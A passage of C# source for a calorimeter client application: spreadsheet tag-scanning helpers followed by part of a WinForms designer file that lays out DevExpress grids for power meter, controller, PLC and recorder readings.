rowLength = GetRowLength(sheet, csEndTag);
columnLength = GetColumnLength(sheet, csEndTag);
Dictionary<string, Cell> tags = new Dictionary<string, Cell>();
AddTags(sheet, tags, rowLength, columnLength);
Sheets.Add(sheet.Name, tags);
}
}
finally
{
workbook.EndUpdate();
}
}
public void Save(string fName)
{
try
{
workbook.SaveDocument(fName);
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
}
}
private void AddTags(Worksheet sheet, Dictionary<string, Cell> tags, int rowLength, int columnLength)
{
for (int row = 0; row < rowLength; row++)
{
for (int column = 0; column < columnLength; column++)
{
string text = sheet.Cells[row, column].Value.TextValue;
if (string.IsNullOrWhiteSpace(text) == false)
{
text = text.Trim();
if (text.Length > 2)
{
string head = text.Substring(0, 1);
string tail = text.Substring(text.Length - 1, 1);
if ((head == csHeadTag) && (tail == csTailTag))
{
tags.Add(text, sheet.Cells[row, column]);
}
}
}
}
}
}
private int GetRowLength(Worksheet sheet, string text, int length = 100)
{
for (int i = 0; i < length; i++)
{
if (sheet.Cells[i, 0].Value.TextValue == text)
{
sheet.Cells[i, 0].Value = "";
return sheet.Cells[i, 0].RowIndex + 1;
}
}
return 0;
}
private int GetColumnLength(Worksheet sheet, string text, int length = 100)
{
for (int i = 0; i < length; i++)
{
if (sheet.Cells[0, i].Value.TextValue == csEndTag)
{
sheet[0, i].Value = "";
return sheet[0, i].ColumnIndex + 1;
}
}
return 0;
}
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlDeviceAll
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.ulPanel4 = new Ulee.Controls.UlPanel();
this.powerMeterGrid = new DevExpress.XtraGrid.GridControl();
this.powerMeterGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pmNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pmValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel6 = new Ulee.Controls.UlPanel();
this.ulPanel1 = new Ulee.Controls.UlPanel();
this.controllerGrid = new DevExpress.XtraGrid.GridControl();
this.controllerGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.cgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel2 = new Ulee.Controls.UlPanel();
this.ulPanel3 = new Ulee.Controls.UlPanel();
this.plcGrid = new DevExpress.XtraGrid.GridControl();
this.plcGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.pgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.pgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel5 = new Ulee.Controls.UlPanel();
this.ulPanel7 = new Ulee.Controls.UlPanel();
this.recorder4Grid = new DevExpress.XtraGrid.GridControl();
this.recorder4GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.gridColumn3 = new DevExpress.XtraGrid.Columns.GridColumn();
this.gridColumn4 = new DevExpress.XtraGrid.Columns.GridColumn();
this.recorder3Grid = new DevExpress.XtraGrid.GridControl();
this.recorder3GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.gridColumn5 = new DevExpress.XtraGrid.Columns.GridColumn();
this.gridColumn6 = new DevExpress.XtraGrid.Columns.GridColumn();
this.recorder2Grid = new DevExpress.XtraGrid.GridControl();
this.recorder2GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.gridColumn1 = new DevExpress.XtraGrid.Columns.GridColumn();
this.gridColumn2 = new DevExpress.XtraGrid.Columns.GridColumn();
this.recorder1Grid = new DevExpress.XtraGrid.GridControl();
this.recorder1GridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.rgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.rgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel8 = new Ulee.Controls.UlPanel();
this.bgPanel.SuspendLayout();
this.ulPanel4.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.powerMeterGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.powerMeterGridView)).BeginInit();
this.ulPanel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.controllerGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.controllerGridView)).BeginInit();
this.ulPanel3.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.plcGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.plcGridView)).BeginInit();
this.ulPanel7.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.recorder4Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder4GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder3Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder3GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder2Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder2GridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder1Grid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.recorder1GridView)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.ulPanel7);
this.bgPanel.Controls.Add(this.ulPanel3);
this.bgPanel.Controls.Add(this.ulPanel1);
this.bgPanel.Controls.Add(this.ulPanel4);
this.bgPanel.Size = new System.Drawing.Size(1816, 915);
//
// ulPanel4
//
this.ulPanel4.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel4.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel4.Controls.Add(this.powerMeterGrid);
this.ulPanel4.Controls.Add(this.ulPanel6);
this.ulPanel4.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.InnerColor2 = System.Drawing.Color.White;
this.ulPanel4.Location = new System.Drawing.Point(0, 0);
this.ulPanel4.Name = "ulPanel4";
this.ulPanel4.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.OuterColor2 = System.Drawing.Color.White;
this.ulPanel4.Size = new System.Drawing.Size(300, 915);
this.ulPanel4.Spacing = 0;
this.ulPanel4.TabIndex = 5;
this.ulPanel4.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel4.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// powerMeterGrid
//
this.powerMeterGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.powerMeterGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.powerMeterGrid.Location = new System.Drawing.Point(6, 40);
this.powerMeterGrid.MainView = this.powerMeterGridView;
this.powerMeterGrid.Name = "powerMeterGrid";
this.powerMeterGrid.Size = new System.Drawing.Size(288, 868);
this.powerMeterGrid.TabIndex = 6;
this.powerMeterGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.powerMeterGridView});
//
// powerMeterGridView
//
this.powerMeterGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.FixedLine.Options.UseFont = true;
this.powerMeterGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.FocusedRow.Options.UseFont = true;
this.powerMeterGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.powerMeterGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.powerMeterGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.OddRow.Options.UseFont = true;
this.powerMeterGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.Preview.Options.UseFont = true;
this.powerMeterGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.Row.Options.UseFont = true;
this.powerMeterGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.SelectedRow.Options.UseFont = true;
this.powerMeterGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.powerMeterGridView.Appearance.ViewCaption.Options.UseFont = true;
this.powerMeterGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pmNameColumn,
this.pmValueColumn});
this.powerMeterGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.powerMeterGridView.GridControl = this.powerMeterGrid;
this.powerMeterGridView.Name = "powerMeterGridView";
this.powerMeterGridView.OptionsView.ColumnAutoWidth = false;
this.powerMeterGridView.OptionsView.ShowGroupPanel = false;
this.powerMeterGridView.OptionsView.ShowIndicator = false;
this.powerMeterGridView.Tag = 0;
//
// pmNameColumn
//
this.pmNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pmNameColumn.AppearanceCell.Options.UseFont = true;
this.pmNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pmNameColumn.AppearanceHeader.Options.UseFont = true;
this.pmNameColumn.Caption = "Name";
this.pmNameColumn.FieldName = "Name";
this.pmNameColumn.Name = "pmNameColumn";
this.pmNameColumn.OptionsColumn.AllowEdit = false;
this.pmNameColumn.OptionsColumn.AllowFocus = false;
this.pmNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pmNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pmNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pmNameColumn.OptionsColumn.AllowMove = false;
this.pmNameColumn.OptionsColumn.AllowShowHide = false;
this.pmNameColumn.OptionsColumn.AllowSize = false;
this.pmNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pmNameColumn.OptionsColumn.FixedWidth = true;
this.pmNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pmNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pmNameColumn.OptionsColumn.ReadOnly = true;
this.pmNameColumn.OptionsColumn.TabStop = false;
this.pmNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pmNameColumn.OptionsFilter.AllowFilter = false;
this.pmNameColumn.Visible = true;
this.pmNameColumn.VisibleIndex = 0;
this.pmNameColumn.Width = 160;
//
// pmValueColumn
//
this.pmValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.pmValueColumn.AppearanceCell.Options.UseFont = true;
this.pmValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pmValueColumn.AppearanceHeader.Options.UseFont = true;
this.pmValueColumn.Caption = "Value";
this.pmValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.pmValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.pmValueColumn.FieldName = "Value";
this.pmValueColumn.Name = "pmValueColumn";
this.pmValueColumn.OptionsColumn.AllowEdit = false;
this.pmValueColumn.OptionsColumn.AllowFocus = false;
this.pmValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pmValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pmValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pmValueColumn.OptionsColumn.AllowMove = false;
this.pmValueColumn.OptionsColumn.AllowShowHide = false;
this.pmValueColumn.OptionsColumn.AllowSize = false;
this.pmValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pmValueColumn.OptionsColumn.FixedWidth = true;
this.pmValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pmValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pmValueColumn.OptionsColumn.ReadOnly = true;
this.pmValueColumn.OptionsColumn.TabStop = false;
this.pmValueColumn.OptionsFilter.AllowAutoFilter = false;
this.pmValueColumn.OptionsFilter.AllowFilter = false;
this.pmValueColumn.Visible = true;
this.pmValueColumn.VisibleIndex = 1;
this.pmValueColumn.Width = 100;
//
// ulPanel6
//
this.ulPanel6.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel6.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel6.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel6.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel6.ForeColor = System.Drawing.Color.White;
this.ulPanel6.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.InnerColor2 = System.Drawing.Color.White;
this.ulPanel6.Location = new System.Drawing.Point(6, 6);
this.ulPanel6.Name = "ulPanel6";
this.ulPanel6.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel6.OuterColor2 = System.Drawing.Color.White;
this.ulPanel6.Size = new System.Drawing.Size(288, 28);
this.ulPanel6.Spacing = 0;
this.ulPanel6.TabIndex = 5;
this.ulPanel6.Text = "POWER METER";
this.ulPanel6.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel6.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel1
//
this.ulPanel1.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel1.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel1.Controls.Add(this.controllerGrid);
this.ulPanel1.Controls.Add(this.ulPanel2);
this.ulPanel1.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.InnerColor2 = System.Drawing.Color.White;
this.ulPanel1.Location = new System.Drawing.Point(1516, 0);
this.ulPanel1.Name = "ulPanel1";
this.ulPanel1.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.OuterColor2 = System.Drawing.Color.White;
this.ulPanel1.Size = new System.Drawing.Size(300, 689);
this.ulPanel1.Spacing = 0;
this.ulPanel1.TabIndex = 6;
this.ulPanel1.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel1.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// controllerGrid
//
this.controllerGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.controllerGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.controllerGrid.Location = new System.Drawing.Point(6, 40);
this.controllerGrid.MainView = this.controllerGridView;
this.controllerGrid.Name = "controllerGrid";
this.controllerGrid.Size = new System.Drawing.Size(288, 643);
this.controllerGrid.TabIndex = 8;
this.controllerGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.controllerGridView});
//
// controllerGridView
//
this.controllerGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.FixedLine.Options.UseFont = true;
this.controllerGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.FocusedRow.Options.UseFont = true;
this.controllerGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.controllerGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.controllerGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.OddRow.Options.UseFont = true;
this.controllerGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.Preview.Options.UseFont = true;
this.controllerGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.Row.Options.UseFont = true;
this.controllerGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.SelectedRow.Options.UseFont = true;
this.controllerGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.controllerGridView.Appearance.ViewCaption.Options.UseFont = true;
this.controllerGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.cgNameColumn,
this.cgValueColumn});
this.controllerGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.controllerGridView.GridControl = this.controllerGrid;
this.controllerGridView.Name = "controllerGridView";
this.controllerGridView.OptionsView.ColumnAutoWidth = false;
this.controllerGridView.OptionsView.ShowGroupPanel = false;
this.controllerGridView.OptionsView.ShowIndicator = false;
this.controllerGridView.Tag = 0;
//
// cgNameColumn
//
this.cgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.cgNameColumn.AppearanceCell.Options.UseFont = true;
this.cgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.cgNameColumn.AppearanceHeader.Options.UseFont = true;
this.cgNameColumn.Caption = "Name";
this.cgNameColumn.FieldName = "Name";
this.cgNameColumn.Name = "cgNameColumn";
this.cgNameColumn.OptionsColumn.AllowEdit = false;
this.cgNameColumn.OptionsColumn.AllowFocus = false;
this.cgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgNameColumn.OptionsColumn.AllowMove = false;
this.cgNameColumn.OptionsColumn.AllowShowHide = false;
this.cgNameColumn.OptionsColumn.AllowSize = false;
this.cgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgNameColumn.OptionsColumn.FixedWidth = true;
this.cgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgNameColumn.OptionsColumn.ReadOnly = true;
this.cgNameColumn.OptionsColumn.TabStop = false;
this.cgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.cgNameColumn.OptionsFilter.AllowFilter = false;
this.cgNameColumn.Visible = true;
this.cgNameColumn.VisibleIndex = 0;
this.cgNameColumn.Width = 160;
//
// cgValueColumn
//
this.cgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.cgValueColumn.AppearanceCell.Options.UseFont = true;
this.cgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.cgValueColumn.AppearanceHeader.Options.UseFont = true;
this.cgValueColumn.Caption = "Value";
this.cgValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.cgValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgValueColumn.FieldName = "Value";
this.cgValueColumn.Name = "cgValueColumn";
this.cgValueColumn.OptionsColumn.AllowEdit = false;
this.cgValueColumn.OptionsColumn.AllowFocus = false;
this.cgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgValueColumn.OptionsColumn.AllowMove = false;
this.cgValueColumn.OptionsColumn.AllowShowHide = false;
this.cgValueColumn.OptionsColumn.AllowSize = false;
this.cgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgValueColumn.OptionsColumn.FixedWidth = true;
this.cgValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgValueColumn.OptionsColumn.ReadOnly = true;
this.cgValueColumn.OptionsColumn.TabStop = false;
this.cgValueColumn.OptionsFilter.AllowAutoFilter = false;
this.cgValueColumn.OptionsFilter.AllowFilter = false;
this.cgValueColumn.Visible = true;
this.cgValueColumn.VisibleIndex = 1;
this.cgValueColumn.Width = 100;
//
// ulPanel2
//
this.ulPanel2.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel2.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel2.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel2.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel2.ForeColor = System.Drawing.Color.White;
this.ulPanel2.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.InnerColor2 = System.Drawing.Color.White;
this.ulPanel2.Location = new System.Drawing.Point(6, 6);
this.ulPanel2.Name = "ulPanel2";
this.ulPanel2.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel2.OuterColor2 = System.Drawing.Color.White;
this.ulPanel2.Size = new System.Drawing.Size(288, 28);
this.ulPanel2.Spacing = 0;
this.ulPanel2.TabIndex = 5;
this.ulPanel2.Text = "CONTROLLER";
this.ulPanel2.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel2.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel3
//
this.ulPanel3.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel3.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel3.Controls.Add(this.plcGrid);
this.ulPanel3.Controls.Add(this.ulPanel5);
this.ulPanel3.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.InnerColor2 = System.Drawing.Color.White;
this.ulPanel3.Location = new System.Drawing.Point(1516, 695);
this.ulPanel3.Name = "ulPanel3";
this.ulPanel3.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel3.OuterColor2 = System.Drawing.Color.White;
this.ulPanel3.Size = new System.Drawing.Size(300, 220);
this.ulPanel3.Spacing = 0;
this.ulPanel3.TabIndex = 7;
this.ulPanel3.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel3.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// plcGrid
//
this.plcGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.plcGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.plcGrid.Location = new System.Drawing.Point(6, 40);
this.plcGrid.MainView = this.plcGridView;
this.plcGrid.Name = "plcGrid";
this.plcGrid.Size = new System.Drawing.Size(288, 173);
this.plcGrid.TabIndex = 10;
this.plcGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.plcGridView});
//
// plcGridView
//
this.plcGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.FixedLine.Options.UseFont = true;
this.plcGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.FocusedRow.Options.UseFont = true;
this.plcGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.plcGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.plcGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.OddRow.Options.UseFont = true;
this.plcGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.Preview.Options.UseFont = true;
this.plcGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.Row.Options.UseFont = true;
this.plcGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.SelectedRow.Options.UseFont = true;
this.plcGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.plcGridView.Appearance.ViewCaption.Options.UseFont = true;
this.plcGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.pgNameColumn,
this.pgValueColumn});
this.plcGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.plcGridView.GridControl = this.plcGrid;
this.plcGridView.Name = "plcGridView";
this.plcGridView.OptionsView.ColumnAutoWidth = false;
this.plcGridView.OptionsView.ShowGroupPanel = false;
this.plcGridView.OptionsView.ShowIndicator = false;
this.plcGridView.Tag = 0;
//
// pgNameColumn
//
this.pgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.pgNameColumn.AppearanceCell.Options.UseFont = true;
this.pgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pgNameColumn.AppearanceHeader.Options.UseFont = true;
this.pgNameColumn.Caption = "Name";
this.pgNameColumn.FieldName = "Name";
this.pgNameColumn.Name = "pgNameColumn";
this.pgNameColumn.OptionsColumn.AllowEdit = false;
this.pgNameColumn.OptionsColumn.AllowFocus = false;
this.pgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pgNameColumn.OptionsColumn.AllowMove = false;
this.pgNameColumn.OptionsColumn.AllowShowHide = false;
this.pgNameColumn.OptionsColumn.AllowSize = false;
this.pgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pgNameColumn.OptionsColumn.FixedWidth = true;
this.pgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pgNameColumn.OptionsColumn.ReadOnly = true;
this.pgNameColumn.OptionsColumn.TabStop = false;
this.pgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.pgNameColumn.OptionsFilter.AllowFilter = false;
this.pgNameColumn.Visible = true;
this.pgNameColumn.VisibleIndex = 0;
this.pgNameColumn.Width = 160;
//
// pgValueColumn
//
this.pgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.pgValueColumn.AppearanceCell.Options.UseFont = true;
this.pgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.pgValueColumn.AppearanceHeader.Options.UseFont = true;
this.pgValueColumn.Caption = "Value";
this.pgValueColumn.DisplayFormat.FormatString = "{0:X4}";
this.pgValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.pgValueColumn.FieldName = "Value";
this.pgValueColumn.Name = "pgValueColumn";
this.pgValueColumn.OptionsColumn.AllowEdit = false;
this.pgValueColumn.OptionsColumn.AllowFocus = false;
this.pgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.pgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.pgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.pgValueColumn.OptionsColumn.AllowMove = false;
this.pgValueColumn.OptionsColumn.AllowShowHide = false;
this.pgValueColumn.OptionsColumn.AllowSize = false;
this.pgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.pgValueColumn.OptionsColumn.FixedWidth = true;
this.pgValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.pgValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.pgValueColumn.OptionsColumn.ReadOnly = true;
this.pgValueColumn.OptionsColumn.TabStop = false;
this.pgValueColumn.OptionsFilter.AllowAutoFilter = false;
this.pgValueColumn.OptionsFilter.AllowFilter = false;
this.pgValueColumn.Visible = true;
this.pgValueColumn.VisibleIndex = 1;
this.pgValueColumn.Width = 100;
//
